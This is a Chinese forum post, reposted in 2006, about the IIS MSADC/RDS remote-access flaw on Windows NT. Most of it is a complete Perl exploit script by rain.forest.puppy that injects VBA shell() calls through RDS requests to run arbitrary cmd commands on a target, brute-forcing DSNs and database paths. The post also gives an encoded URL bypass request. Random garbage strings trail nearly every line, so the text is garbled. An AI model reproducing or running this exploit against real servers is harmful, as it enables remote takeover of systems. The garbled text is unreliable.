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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) l2P=R)@{  
`lt"[K<  
涉及程序: 9j9TPyC/2  
Microsoft NT server X(-4<B  
~O &:C{9=  
描述: )/?$3h;  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 %Qdn  
7{I0s;R  
详细: /CG"]!2 "  
如果你没有时间读详细内容的话,就删除: ;x@~A^<el  
c:\Program Files\Common Files\System\Msadc\msadcs.dll "~C,bk  
有关的安全问题就没有了。 8q}q{8  
V /V9B2.$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 UQ@L V~6{R  
7Da`   
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 h{HHLR  
关于利用ODBC远程漏洞的描述,请参看: k{SAvKx=  
d,n 'n  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [e}]}t8m  
(c &mCJN  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 8C9-_Ng`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp DX K?Cv71z  
<;Zmjeb+#  
这里不再论述。 (rm?jDm   
I75DUJqy]  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &AbNWtCV+G  
-0x #  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset \Et3|Iv  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! oHn Ky[1  
=.]4;z  
SmSH2m-  
#将下面这段保存为txt文件,然后: "perl -x 文件名" e [mm  
6.nCV 0xA  
#!perl FSW_<%  
# <+vw@M  
# MSADC/RDS 'usage' (aka exploit) script +Kbjzh3<wG  
# iVq'r4S  
# by rain.forest.puppy F%D.zvKN  
# 9H`XeQ.  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me sZ/v^ xk  
# beta test and find errors! GH:jH]u!V  
]R f[y  
use Socket; use Getopt::Std; zL`iK"N`  
getopts("e:vd:h:XR", \%args); MC.) 2B7  
C mWgcw1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; V7fq4O^:  
41?HY{&2  
if (!defined $args{h} && !defined $args{R}) { /zVOK4BqN+  
print qq~ *@=/qkaJaI  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 9c,'k#k  
-h <host> = host you want to scan (ip or domain) XXcl{1Kp!@  
-d <seconds> = delay between calls, default 1 second Jgd'1'FOs  
-X = dump Index Server path table, if available e_ANUll1  
-v = verbose EC!02S  
-e = external dictionary file for step 5 62o:,IcoG  
.Una+Z  
Or a -R will resume a command session ARwD~ Tr  
8ek@: Mw  
~; exit;} hxd`OG<gF  
Eq9x2  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;m{1 _1  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} nIy}#MUd|q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Y}|X|!0x  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); vJc-6EO  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 'RYIW/a  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `1{ZqRFQ  
MSqVlj  
if (!defined $args{R}){ $ret = &has_msadc; q"sed]  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ]e>w }L(gV  
%JD,$p Ps  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" dkBIx$t  
. "cmd /c "; 4,gK[ dc  
$in=<STDIN>; chomp $in; H-*yh!  
$command="cmd /c " . $in ; ^-Kf']hU  
V0.vQ/  
if (defined $args{R}) {&load; exit;} d#rf5<i  
as4;:  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; dx{bB%?Y\=  
&try_btcustmr; tla 5B_  
(G4at2YLd  
print "\nStep 2: Trying to make our own DSN..."; Ed,~1GanY  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; sn$9Shgh  
YPK(be_|I  
print "\nStep 3: Trying known DSNs..."; +tIF h'  
&known_dsn; pF:$  ko  
m6&~HfwN  
print "\nStep 4: Trying known .mdbs..."; ;jvBF4Lb>  
&known_mdb; l2rd9 -T  
+LZLy9iKt  
if (defined $args{e}){ i&66Fi1  
print "\nStep 5: Trying dictionary of DSN names..."; =eXU@B  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } A) %/[GD2  
)j(7]uX`  
print "Sorry Charley...maybe next time?\n"; L Mbn  
exit; [{<`o5qR  
[-k  
############################################################################## x_6[P2"PP  
LW'D?p#  
sub sendraw { # ripped and modded from whisker FR4QUk  
sleep($delay); # it's a DoS on the server! At least on mine... pW@Pt 3u  
my ($pstr)=@_; JG!mc7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || `maKN\;  
die("Socket problems\n"); +wvWwie  
if(connect(S,pack "SnA4x8",2,80,$target)){ R_ ,UMt  
select(S); $|=1; 7>Ouqxh21  
print $pstr; my @in=<S>; K'Tm_"[u  
select(STDOUT); close(S); kmsb hYM)  
return @in; eH3JyzzP,  
} else { die("Can't connect...\n"); }} &5spTMw8  
ZQoU3AD;  
############################################################################## @qqg e'  
6YLj^w] %  
sub make_header { # make the HTTP request 5k3b3&  
my $msadc=<<EOT !&ayYu##{  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 bv9i*]  
User-Agent: ACTIVEDATA gG:Vt}N  
Host: $ip ?U5{Wa85D  
Content-Length: $clen UkT=W!cq  
Connection: Keep-Alive ^ H ThN  
B^Nf #XN(  
ADCClientVersion:01.06 p7VTa~\zA  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~u!|qM  
J^nBdofP  
--!ADM!ROX!YOUR!WORLD! 8# >op6^  
Content-Type: application/x-varg F2dHH^  
Content-Length: $reqlen $@Rxrx_@M  
rEnQYz  
EOT U;V7 u/{  
; $msadc=~s/\n/\r\n/g; fc%xS7&  
return $msadc;} uK#4(eY=W  
'(VJ&UlS2  
############################################################################## Y. 5_6'Eo?  
gsv uE  
sub make_req { # make the RDS request " 4K(jXq|  
my ($switch, $p1, $p2)=@_; goRL1L,5  
my $req=""; my $t1, $t2, $query, $dsn; 5k3n\sqZA  
?(y*nD[a  
if ($switch==1){ # this is the btcustmr.mdb query "XKy#[d2  
$query="Select * from Customers where City=" . make_shell(); m )zUU  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ICoHI  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .hP D$o  
ARVf[BAJ-*  
elsif ($switch==2){ # this is general make table query 2d(e:r h]  
$query="create table AZZ (B int, C varchar(10))"; NP#w +Qw  
$dsn="$p1";} z^q0/'  
YTpSHpf@  
elsif ($switch==3){ # this is general exploit table query c9'vDTE%~  
$query="select * from AZZ where C=" . make_shell();  &)Tdc  
$dsn="$p1";} }bpQq6ZF  
+L| ?~p`V  
elsif ($switch==4){ # attempt to hork file info from index server M~#gRAUJ  
$query="select path from scope()"; bv9]\qC]T<  
$dsn="Provider=MSIDXS;";} }[};IqVaK  
^q vbqfh  
elsif ($switch==5){ # bad query <#y[gTJ<'>  
$query="select"; 88gM?G _X  
$dsn="$p1";} BB$>h}  
[0[i5'K:  
$t1= make_unicode($query); D/B8tf+V  
$t2= make_unicode($dsn); eRstD>r  
$req = "\x02\x00\x03\x00"; i2U{GV<K-r  
$req.= "\x08\x00" . pack ("S1", length($t1)); ua Gk6S  
$req.= "\x00\x00" . $t1 ; +I:Unp  
$req.= "\x08\x00" . pack ("S1", length($t2)); };bEU wGWf  
$req.= "\x00\x00" . $t2 ; nQtWvT  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; R'`qKc  
return $req;} z'U1bMg  
&yTqZ*Yuk  
############################################################################## p* (JjH  
9y8&9<#  
sub make_shell { # this makes the shell() statement S6M}WR^,  
return "'|shell(\"$command\")|'";} +nhLIO{{L  
Mj?`j_X  
############################################################################## 4qbBc1,7y  
/P3 <"?#k  
sub make_unicode { # quick little function to convert to unicode R)( T^V`{  
my ($in)=@_; my $out; :WS@=sZN  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ufZDF=$7  
return $out;} =/+-<px  
Rz:]\jcIT/  
############################################################################## gHEu/8E  
Ugt/rf5n  
sub rdo_success { # checks for RDO return success (this is kludge) gNrjo=  
my (@in) = @_; my $base=content_start(@in); UiP"Ixg6  
if($in[$base]=~/multipart\/mixed/){ o.g V4%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} f#"J]p  
return 0;} { Fb*&|-n  
bMu+TgAT,  
############################################################################## vHc%z$-d  
qzLPw*;  
sub make_dsn { # this makes a DSN for us SC!RbW@3  
my @drives=("c","d","e","f");  #ut  
print "\nMaking DSN: "; ]e^&aR5f"  
foreach $drive (@drives) { Jk11fn;\>  
print "$drive: "; kGS;s B  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . qu@~g cE  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" xY8$I6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); t]g-CW 3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; J26 VnK  
return 0 if $2 eq "404"; # not found/doesn't exist A_ZY=jP   
if($2 eq "200") { :$|HNeDO  
foreach $line (@results) { 9Cp-qA%t  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} )5JFfp)#  
} return 0;} |?xN\O^#}  
t%FwXaO#  
############################################################################## G]tn i  
]t,BMu=%  
sub verify_exists { ^Za-`8#`L  
my ($page)=@_; @6sqMw}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); |\t-g" ~sN  
return $results[0];} KYhwOGN  
b<ZIWfs  
############################################################################## 9(7-{,c  
_p/UsJ  
sub try_btcustmr { aEWWP]  
my @drives=("c","d","e","f"); 1Z2HUzqh.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); t+ G#{n  
A#<?4&  
foreach $dir (@dirs) { V>LwqS~`  
print "$dir -> "; # fun status so you can see progress .},'~NM]  
foreach $drive (@drives) { 7`Ak) F:V  
print "$drive: "; # ditto h0f;F@I  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; \fd v]f  
$reqlenlen=length( "$reqlen" ); EwT"uL*V;  
$clen= 206 + $reqlenlen + $reqlen; eA?RK.e  
fu ,}1Mq#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); , WYPU  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $G+@_'  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  vF+7V*<  
n\D&!y[]F  
############################################################################## vX"*4m>b?+  
~<5!?6Yt  
sub odbc_error { "| g>'wM*  
my (@in)=@_; my $base; 9YyLf;  
my $base = content_start(@in); At>DjKx]O  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this vWv"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T2W eE@o  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $6 9&O  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,Vm < rK  
return $in[$base+4].$in[$base+5].$in[$base+6];} hH 3RP{'=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; {9pZ)tB  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c_pr  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} UHkMn  
N!=v4f  
############################################################################## gO-  _  
pa3{8x{9m  
sub verbose { QO~P7r|A  
my ($in)=@_; 7U"g3 a)=  
return if !$verbose; 2- h{N  
print STDOUT "\n$in\n";} q:0N<$63  
783,s_  
############################################################################## >T-u~i$s  
*n ]GsOOn  
sub save { HM1Fz\Sf  
my ($p1, $p2, $p3, $p4)=@_; aFm_;\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :\c ^*K(9  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; m? }6)\ob  
close OUT;} a#k6&3m&  
P|E| $)m  
############################################################################## 6;d*r$0Fc  
1(R}tRR7R  
sub load { ZvX*t)VjTz  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; *OsQ}onv  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); _6hQ %hv8  
@p=<IN>; close(IN); G j?t_Zln  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); exUFS5d  
$target= inet_aton($ip) || die("inet_aton problems"); |aS.a&vwR  
print "Resuming to $ip ..."; b. '-?Nn  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; P3=G1=47U  
if($p[1]==1) { RSRS wkC  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; {\1?ZrCI&  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \?-<4Bc@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Hzz %3}E  
if (rdo_success(@results)){print "Success!\n";} yx[/|nZDC4  
else { print "failed\n"; verbose(odbc_error(@results));}} '<)n8{3Q5w  
elsif ($p[1]==3){ Q&tG4f<  
if(run_query("$p[3]")){ L`TLgH&?R  
print "Success!\n";} else { print "failed\n"; }} U '_Q>k  
elsif ($p[1]==4){ ET*SB  
if(run_query($drvst . "$p[3]")){ Of#u  
print "Success!\n"; } else { print "failed\n"; }} ~,Ix0h+H+M  
exit;} 4F:\-O  
f'RX6$}\1X  
############################################################################## R) h#Vc(  
'JE`(xD  
sub create_table { };zFJ6I8  
my ($in)=@_; V1zmGy  
$reqlen=length( make_req(2,$in,"") ) - 28; Gb6'n$g  
$reqlenlen=length( "$reqlen" ); ebhXak[w  
$clen= 206 + $reqlenlen + $reqlen; u&vf+6=9Dd  
my @results=sendraw(make_header() . make_req(2,$in,"")); khxnlry  
return 1 if rdo_success(@results); ; DR$iH-F  
my $temp= odbc_error(@results); verbose($temp); t{9GVLZ  
return 1 if $temp=~/Table 'AZZ' already exists/; \V63qg[  
return 0;} eo?bL$A[s  
oZgjQM$YP  
############################################################################## c)85=T6*aA  
^{`exCwM x  
sub known_dsn { q.bSIV|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ="H`V V_  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", :3Ox~o  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 4p F*"B  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); M|h3Wt~7  
;$|nrwhy  
foreach $dSn (@dsns) { TIDO@NwF  
print "."; Wn2NMXK  
next if (!is_access("DSN=$dSn"));  <kqo^  
if(create_table("DSN=$dSn")){ hn@08t G  
print "$dSn successful\n"; cV6D<,)  
if(run_query("DSN=$dSn")){ ED gag  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .`eN8Dl1  
print "Something's borked. Use verbose next time\n";}}} print "\n";} h[Y1?ln&h  
K\r8g=U  
############################################################################## bAqA1y3=  
.L~AL|2_  
sub is_access { (w3YvG.  
my ($in)=@_; 2/^3WY1U  
$reqlen=length( make_req(5,$in,"") ) - 28; </z Eg3F\  
$reqlenlen=length( "$reqlen" ); C,r;VyW6BI  
$clen= 206 + $reqlenlen + $reqlen; <%eG:n,#  
my @results=sendraw(make_header() . make_req(5,$in,"")); U8?mc  
my $temp= odbc_error(@results); d7upz]K9g  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); {;1\+ f  
return 0;} H7n>Vx:L-  
Q)h(nbbVak  
############################################################################## C1)!f j=  
k y7Gwc  
sub run_query { 1))8 A@,  
my ($in)=@_; vk^xT  
$reqlen=length( make_req(3,$in,"") ) - 28; H1 ./x6Hr  
$reqlenlen=length( "$reqlen" ); 1Pu~X \sO  
$clen= 206 + $reqlenlen + $reqlen; lL3U8}vn  
my @results=sendraw(make_header() . make_req(3,$in,"")); *g2x%aZWbG  
return 1 if rdo_success(@results); Jnov<+  
my $temp= odbc_error(@results); verbose($temp); T8$y[W-c  
return 0;} V 5mTP'  
u6JM]kR  
############################################################################## V)25$aKW7  
Svmy(w~m  
sub known_mdb { Y$_B1_  
my @drives=("c","d","e","f","g"); |Rk@hzM2S  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0GeTS Fj  
my $dir, $drive, $mdb; WOap+  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; GD$l| |8  
)y$(AJx$  
# this is sparse, because I don't know of many #"~<HG}bR/  
my @sysmdbs=( "\\catroot\\icatalog.mdb",  qX{+oy5  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", li.;IWb0+)  
"\\system32\\certmdb.mdb", m{HS0l'  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% U Cjld  
n:!_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", `|q(h Ow2  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~]2K ^bh8&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", + ePS14G  
"\\cfusion\\cfapps\\security\\realm_.mdb", kxv1Hn"`{E  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", .ioEI sg  
"\\cfusion\\database\\cfexamples.mdb", hwv/AnX~O  
"\\cfusion\\database\\cfsnippets.mdb", R\[e!g*I  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", XSLFPTDEc  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ;i+jJ4  
"\\cfusion\\brighttiger\\database\\cleam.mdb",  b>ySv  
"\\cfusion\\database\\smpolicy.mdb", (GfZ*  
"\\cfusion\\database\cypress.mdb", =Xr.'(U  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", KZf+MSq? B  
"\\website\\cgi-win\\dbsample.mdb", Q~Wqy~tS  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", s$j,9uRr  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" InI$:kJ  
); #these are just ww1[rCh\+  
foreach $drive (@drives) { :V||c5B+  
foreach $dir (@dirs){ d2$IH#~9B  
foreach $mdb (@sysmdbs) { OneY_<*a<  
print "."; D&y7-/  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K}Qa~_  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; vFmZ<C' )  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 3bI9Zt#J%&  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; es7=%!0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} nxFBID  
"w<#^d_6  
foreach $drive (@drives) { kAUymds;O  
foreach $mdb (@mdbs) { ef4 i:.  
print "."; ~P-mC@C  
if(create_table($drv . $drive . $dir . $mdb)){ w7L) '9  
print "\n" . $drive . $dir . $mdb . " successful\n"; 4Z0]oI X  
if(run_query($drv . $drive . $dir . $mdb)){ G3T]`Atf  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -Q Nh  
} else { print "Something's borked. Use verbose next time\n"; }}}} ~k5W@`"W  
} JxU5 fe  
Q7CsJzk~)  
############################################################################## Q"#J6@  
t]G:L}AOl  
sub hork_idx { X:{!n({r=  
print "\nAttempting to dump Index Server tables...\n"; @H8EWTZ  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -KbYOb  
$reqlen=length( make_req(4,"","") ) - 28; !&E-}}<  
$reqlenlen=length( "$reqlen" ); vl)l'  
$clen= 206 + $reqlenlen + $reqlen; jPkn[W# 6  
my @results=sendraw2(make_header() . make_req(4,"","")); 8z\xrY  
if (rdo_success(@results)){ j?QDR  
my $max=@results; my $c; my %d; J'r^/  
for($c=19; $c<$max; $c++){ GQ ;;bcj&  
$results[$c]=~s/\x00//g; B9S@(/"7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; lyhiFkO iH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; A=0'Ks  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;  Vxt+]5X  
$d{"$1$2"}="";} (QB2T2x  
foreach $c (keys %d){ print "$c\n"; } oXgcc*j  
} else {print "Index server doesn't seem to be installed.\n"; }} )+Pus~w  
BMf@M  
############################################################################## N'=gep0V@  
fc>L K7M  
sub dsn_dict { M',?u  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); klhtKp_p  
while(<IN>){ 2Tppcj v  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _)-o1`*-  
next if (!is_access("DSN=$dSn")); 5!9zI+S|=`  
if(create_table("DSN=$dSn")){ a8Wwq?@  
print "$dSn successful\n"; xgtR6E^k  
if(run_query("DSN=$dSn")){ }Y4qS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8q7b_Pq1U  
print "Something's borked. Use verbose next time\n";}}} 3G4-^hY<  
print "\n"; close(IN);} c:.eGH_f  
?Mfw]z"\C)  
############################################################################## zbPqYhJzA  
RD&PDXT4  
sub sendraw2 { # ripped and modded from whisker Z3!`J&  
sleep($delay); # it's a DoS on the server! At least on mine... -s/ea~=R  
my ($pstr)=@_; u]@['7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tq?!-x+>  
die("Socket problems\n"); TL#3;l^  
if(connect(S,pack "SnA4x8",2,80,$target)){ +"VP-s0  
print "Connected. Getting data"; +"@ .8m  
open(OUT,">raw.out"); my @in; (7*}-Uy[C  
select(S); $|=1; print $pstr; SgOheN-  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} bZV/l4TU  
close(OUT); select(STDOUT); close(S); return @in; 9&NgtZpt  
} else { die("Can't connect...\n"); }} ? =+WRjF  
e>7i_4(C  
############################################################################## 4KrL{Z+}  
T6k0>[3xf  
sub content_start { # this will take in the server headers 3+bt~J0  
my (@in)=@_; my $c; D1;QC  
for ($c=1;$c<500;$c++) { t#"Grk8Mz&  
if($in[$c] =~/^\x0d\x0a/){ {l >hMxij  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } jZ; =so  
else { return $c+1; }}} Y6d@h? ht  
return -1;} # it should never get here actually qIqM{#' ^  
a.6(K  
############################################################################## @=kSo -SX  
lw5`p,`  
sub funky { n'w.; q  
my (@in)=@_; my $error=odbc_error(@in); PFK  '$  
if($error=~/ADO could not find the specified provider/){ WuW^GC{7  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;*&-C9b  
exit;} Yz<1 wt7;  
if($error=~/A Handler is required/){ @s^-.z  
print "\nServer has custom handler filters (they most likely are patched)\n"; RpYERAgT  
exit;} o _H`o&xr  
if($error=~/specified Handler has denied Access/){ @\I#^X5lv  
print "\nServer has custom handler filters (they most likely are patched)\n"; pb=h/8R  
exit;}} \uMLY<]P  
N}YkMJy  
############################################################################## TuqH*{NNy9  
FC"8#*x  
sub has_msadc { _wL BA^d^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 7t_^8I%[  
my $base=content_start(@results); 8HdAFRw  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); { [>Kob1  
return 0;} s"?3]P  
sn>~O4"  
######################## Ecx<OTo  
WMP,\=6k0  
,6W>can  
解决方案: HUOj0T  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll B?o7e<l[  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6\S~P/PkE  
KCDE{za  
拿出来充数 哈哈
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